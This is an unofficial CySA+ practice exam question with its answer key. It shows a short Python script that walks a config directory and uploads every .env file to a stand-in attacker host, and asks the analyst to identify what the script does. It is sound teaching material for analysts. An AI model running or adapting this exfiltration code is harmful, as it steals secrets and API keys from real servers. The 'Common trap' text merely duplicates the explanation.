CY.I · CySA+ CS0-004 practice question
An analyst is reviewing a Python script recovered from a compromised build server: `python import os, requests for root, _, files in os.walk('/var/www/config'): for f in files: if f.endswith('.env'): requests.post('https://drop.malicious.example/upload', files={'file': open(os.path.join(root, f), 'rb')}) ` What is the primary function of this script?
Check answer and explanation
Correct answer: Recursively finding `.env` configuration files and exfiltrating them over HTTPS
Explanation
`os.walk` recursively traverses `/var/www/config`, filters for files ending in `.env` (which typically store secrets and API keys), and uploads them via `requests.post` to an external HTTPS endpoint.
Common trap
`os.walk` recursively traverses `/var/www/config`, filters for files ending in `.env` (which typically store secrets and API keys), and uploads them via `requests.post` to an external HTTPS endpoint.
Source: Original unofficial practice; not an official CompTIA exam item
Checked against the cited text on 2026-11-30.